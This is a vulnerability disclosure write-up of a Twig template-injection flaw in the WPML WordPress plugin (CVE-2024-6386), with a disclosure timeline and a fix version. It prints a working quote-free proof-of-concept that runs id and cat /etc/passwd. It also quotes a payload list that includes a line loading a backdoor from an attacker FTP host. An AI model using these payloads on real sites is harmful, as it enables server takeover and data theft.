WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution (RCE) via Twig Server-Side Template Injection (SSTI)

tldr;

Server-Side Template Injection (SSTI) is one of my favorite vulnerabilities, but rarely do I see it outside of CTF competitions...

The WPML Multilingual CMS Plugin for WordPress used by over 1 million sites is susceptible to an Authenticated (Contributor+) Remote Code Execution (RCE) vulnerability through a Twig server-side template injection.

Affected Versions: <= 4.6.12
CVSS Score: 9.9
CVE-ID: CVE-2024-6386
Links: Mitre, NVD
Active installations: 1,000,000+
Bounty: $1,639 (WordFence)

About WPML Multilingual CMS

WPML is a popular plugin for creating multilingual WordPress sites. It offers a robust set of features for managing translations and language switching, making it a top choice for many WordPress users who need multilingual capabilities. WPML is a premium plugin charging between €39 and €199 per year.

Vulnerability

The vulnerability lies in the handling of shortcodes within the WPML plugin. Specifically, the plugin uses Twig templates for rendering content in shortcodes but fails to properly sanitize input, leading to server-side template injection (SSTI).

In the code, the callback function in class-wpml-ls-shortcodes.php processes shortcode content:

   add_shortcode( 'wpml_language_switcher', array( $this, 'callback' ) );

   // Backward compatibility
   add_shortcode( 'wpml_language_selector_widget', array( $this, 'callback' ) );
   add_shortcode( 'wpml_language_selector_footer', array( $this, 'callback' ) );

Where the callback function is:

public function callback( $args, $content = null, $tag = '' ) {
    $args = (array) $args;
    $args = $this->parse_legacy_shortcodes( $args, $tag );
    $args = $this->convert_shortcode_args_aliases( $args );

    return $this->render( $args, $content );
}

This calls the render function in class-wpml-ls-public-api.php, passing the shortcode content as the twig_template variable:

protected function render( $args, $twig_template = null ) {
   $defaults_slot_args = $this->get_default_slot_args( $args );
   $slot_args          = array_merge( $defaults_slot_args, $args );
   
   $slot = $this->get_slot_factory()->get_slot( $slot_args );
   $slot->set( 'show', 1 );
   $slot->set( 'template_string', $twig_template );
   
   if ( $slot->is_post_translations() ) {
      $output = $this->render->post_translations_label( $slot );
   } else {
      $output = $this->render->render( $slot );
   }
   
   return $output;
}

And this variable is then rendered as a twig template string.

Payload Construction

The shortcode below will demonstrate that it's contents will be rendered as a twig template:

[wpml_language_switcher]
{{ 4 * 7 }}
[/wpml_language_switcher]

When saved we will see the output of 28 on the page.

Bingpot! We have SSTI!

But there's a slight complication here that must be overcome to exploit further. This is the fact that WordPress will HTML encode any single or double quotes. This means we cannot execute any of the classic Twig template injection to remote code execution combos, such as those below (taken from PayloadAllTheThings):

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}

Twig SSTI -> RCE payloads that wont work for us :(

However, we can start by exploring what we do have access to, for example:

[wpml_language_switcher]
{{ dump() }}
[/wpml_language_switcher]

This will output something like the following (but not as pretty):

array(4) {
    ["languages"]=> array(1) {
        ["en"]=> array(8) {
            ["code"]=> string(2) "en"
            ["url"]=> string(34) "http://wordpress.local:1337/?p=126"
            ["native_name"]=> string(7) "English"
            ["display_name"]=> string(7) "English"
            ["is_current"]=> bool(true)
            ["css_classes"]=> string(121) "wpml-ls-slot-shortcode_actions wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-first-item wpml-ls-last-item"
            ["flag_width"]=> int(18)
            ["flag_height"]=> int(12)
        }
    }
    ["current_language_code"]=> string(2) "en"
    ["css_classes"]=> string(41) "wpml-ls-statics-shortcode_actions wpml-ls"
    ["css_classes_link"]=> string(12) "wpml-ls-link"
}

This output provides enough letters that we can start using it to create customer strings. For example we can create s by:

{% set s = dump(current_language_code)|slice(0,1) %}

This works by grabbing the first letter from the output of dump on the variable current_language_code, this will always be s as it is a string and dump always prints string(n) before the contents of the string.

ℹ️
Note when choosing variables to grab the characters from, it's best to opt for those that are going to be the most stable. This will make the exploit more reliable between different environments.

This can be repeated until we have the chars to spell out system which will allow us to execute arbitrary commands. Here use the ~ operator to join the chars together into a string. For example, once we have the letters defined, the basic id command can be executed as follows:

{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{{[id]|map(system)|join}}

Once we have the ability to execute shell commands we can even use the output from the shell to give us access to further letter we may find difficult to obtain via templating. This can be seen in the snippet below, where a slash / is obtained from the output of the pwd shell command:

{% set slash = [pwd]|map(system)|join|slice(0,1) %}

This works because pwd (print working directory) will always start with a / in Linux, e.g. /home/username/

ℹ️
After submission Ivan from WordFence pointed out another (simpler/better) trick to get the specific letters by starting the shortcode template with all the letters you need [wpml_language_switcher]abcde... and then obtaining them by using self and slicing the string to get each char.

Proof of Concept

Now that we've demonstrated the basics, lets jump in and look at the final proof-of-concept created to exploit this vulnerability:

[wpml_language_switcher]

{# Find letters we need as we cant use any quotes #}
{% set s = dump(current_language_code)|slice(0,1) %}
{% set t = dump(current_language_code)|slice(1,1) %}
{% set r = dump(current_language_code)|slice(2,1) %}
{% set i = dump(current_language_code)|slice(3,1) %}
{% set n = dump(current_language_code)|slice(4,1) %}
{% set g = dump(current_language_code)|slice(5,1) %}
{% set a = dump()|slice(0,1) %}
{% set y = dump()|slice(4,1) %}
{% set e = dump(css_classes)|slice(36,1) %}
{% set w = dump(css_classes)|slice(12,1) %}
{% set p = dump(css_classes)|slice(13,1) %}
{% set m = dump(css_classes)|slice(14,1) %}
{% set d = dump(css_classes)|slice(35,1) %}
{% set c = dump(css_classes)|slice(25,1) %}
{% set space = dump(css_classes)|slice(45,1) %}

{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{% set pwd = p~w~d %}

We can use the output from `dump` or any other similar function to grab any letters we need to create our strings.

Once we have code basic code execution we can use that to grab any letters we may not be able to easily grab via template injection.

{% set slash = [pwd]|map(system)|join|slice(0,1) %}

{% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %}


Debug: {{dump()}}

Command: {{system}} {{id}} {{pwd}}

id: {{[id]|map(system)|join}}

pwd: {{[pwd]|map(system)|join}}

passwd: {{[passwd]|map(system)|join}}

[/wpml_language_switcher]

Exploitation

By using the above payload, a Contributor+ user can gain command execution on the server. The crafted payload uses the dump function to gather letters needed to construct commands without using quotes. Once we have basic command execution, we can further leverage it to gain more control over the server.

Timeline

  • 19/06/24 (0 day) - Discovery and disclosure to WordFence
  • 27/06/24 (+8 day) - WordFence validated and assigned CVE
  • 27/06/24 (+8 days) - $1,639 bounty assigned by WordFence
  • 20/08/24 (+62 days) - Patch released in version 4.6.13
  • 21/08/24 (+63 days) - Vulnerability publicly disclosed

Conclusion

This vulnerability is a classic example of the dangers of improper input sanitization in templating engines. Developers should always sanitize and validate user inputs, especially when dealing with dynamic content rendering. This case serves as a reminder that security is a continuous process, requiring vigilance at every stage of development and data processing.